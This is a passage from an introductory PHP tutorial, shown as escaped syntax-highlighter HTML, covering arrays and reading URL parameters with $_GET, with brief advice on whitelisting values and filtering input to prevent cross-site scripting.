&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Operating System&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Linux&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Server&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Apache&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Database&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;MySQL&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Language&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;PHP&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;renderList(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$awfulacting&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Natalie Portman&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Star Wars&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Arnold Schwarzenegger&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Batman and Robin&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Keanu Reaves&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;*&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;renderList(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$awfulacting&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Note that &lt;code&gt;function&lt;/code&gt;s do not begin with a dollar sign.&lt;br /&gt;
We&#39;ve already seen most of the magic of PHP. The rest is all about  building functions to do all kinds of things: converting strings,  sorting arrays, finding things in other things, accessing the file  system, setting cookies and much more, each of which does one and only  one thing right. I keep catching myself writing complex functions in  PHP, only to realize from looking at the documentation that a native  function already exists for it.&lt;br /&gt;
&lt;h3&gt;Interacting With The Web: URL Parameters&lt;/h3&gt;Let&#39;s start playing with the Web in PHP… or, more precisely, playing  with information that comes from the browser&#39;s address bar or with forms  that we can re-use. To get parameters from the current URL, we use the  global &lt;code&gt;$_GET&lt;/code&gt; array. So, if you call the &lt;i&gt;index.php&lt;/i&gt; script with &lt;code&gt;http://localhost/index.php?language=fr&amp;amp;font=large&lt;/code&gt;, you can change the display and locale by checking for these settings. The &lt;code&gt;language&lt;/code&gt; parameter will be available as &lt;code&gt;$_GET[&#39;language&#39;]&lt;/code&gt;, and the &lt;code&gt;font&lt;/code&gt; parameter as &lt;code&gt; $_GET[&#39;font&#39;]&lt;/code&gt;:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_761633&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$name&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Chris&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;comments&quot;&gt;// if there is no language defined, switch to English&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( !isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;language&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]) ){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$welcome&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Oh, hello there, &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;language&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] == &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;fr&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$welcome&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Salut, &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;switch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;font&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;case&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;small&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$size&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= 80;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;break&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;case&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;medium&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$size&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= 100;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;break&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;case&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;large&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$size&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= 120;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;break&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;default&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$size&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= 100;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;break&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;style&gt;
body{font-size:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$size&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;%;}
&lt;/style&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;26&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;h1&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$welcome&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/h1&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;27&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This means we can now send URL parameters to change the behavior of this document:&lt;br /&gt;
&lt;img alt=&quot;changing the content and look of a document with parameters&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/04/parameters1.jpg&quot; width=&quot;450&quot; /&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=9&quot;&gt;&lt;code&gt;http://localhost:8888/index.php&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=9&amp;amp;language=fr&quot;&gt;&lt;code&gt;http://localhost:8888/index.php?language=fr&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=9&amp;amp;language=fr&amp;amp;font=large&quot;&gt;&lt;code&gt;http://localhost:8888/index.php?language=fr&amp;amp;font=large&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;Notice that predefining a set of values that are acceptable for a  certain parameter is always best. In the earlier example, we may as well  have set the font size in pixels as a parameter and then written that  to the document—but then we would have needed a good validation script  to prevent end users from sending bad values or even malicious code  through the parameter.&lt;br /&gt;
Sending malicious code via a parameter without filtering is called &lt;a href=&quot;http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29&quot;&gt;cross-site scripting&lt;/a&gt;  (XSS), and it is one of the big security problems of the Web. You can  prevent it by not printing out the values of parameters, and instead  using them in comparisons, and by using the &lt;a href=&quot;http://uk.php.net/manual/en/intro.filter.php&quot;&gt;filters provided by PHP&lt;/a&gt;.&lt;br /&gt;
Say you want to allow users to enter data in a form that you will display later on. Make sure to filter out the results:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_108591&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
